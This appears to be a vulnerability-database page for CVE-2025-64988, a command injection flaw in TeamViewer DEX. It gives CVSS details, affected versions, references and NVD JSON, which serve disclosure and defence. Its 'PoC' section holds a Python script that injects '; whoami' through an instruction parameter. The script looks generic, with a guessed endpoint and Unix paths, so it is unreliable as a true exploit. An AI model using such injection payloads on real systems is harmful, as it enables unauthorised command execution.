CVE-2025-64988

Description

A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Nomad-GetCmContentLocations instruction prior V19.2. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:* - VULNERABLE

TeamViewer DEX (1E DEX) < V19.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2025-64988 PoC - TeamViewer DEX Command Injection
# Target: 1E-Nomad-GetCmContentLocations instruction

TARGET_URL = "https://target-server/api/v1/instruction"
AUTH_TOKEN = "your_auth_token_here"

def exploit_cve_2025_64988():
    headers = {
        'Authorization': f'Bearer {AUTH_TOKEN}',
        'Content-Type': 'application/json'
    }
    
    # Malicious payload for command injection
    payload = {
        'instruction': '1E-Nomad-GetCmContentLocations',
        'parameters': {
            'location': '; whoami > /tmp/pwned.txt #'  # Command injection
        }
    }
    
    try:
        response = requests.post(TARGET_URL, headers=headers, json=payload, timeout=30)
        print(f"Status: {response.status_code}")
        print(f"Response: {response.text}")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    print("CVE-2025-64988 Exploitation Test")
    exploit_cve_2025_64988()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64988
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64988
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64988/
[4] VulDB https://vuldb.com/cve/CVE-2025-64988
[5] https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64988", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.667", "lastModified": "2026-01-14T20:16:56.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Nomad-GetCmContentLocations instruction prior V19.2. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "19.2", "matchCriteriaId": "7E8D7CDB-3B7F-431B-90CA-0D21E0968657"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}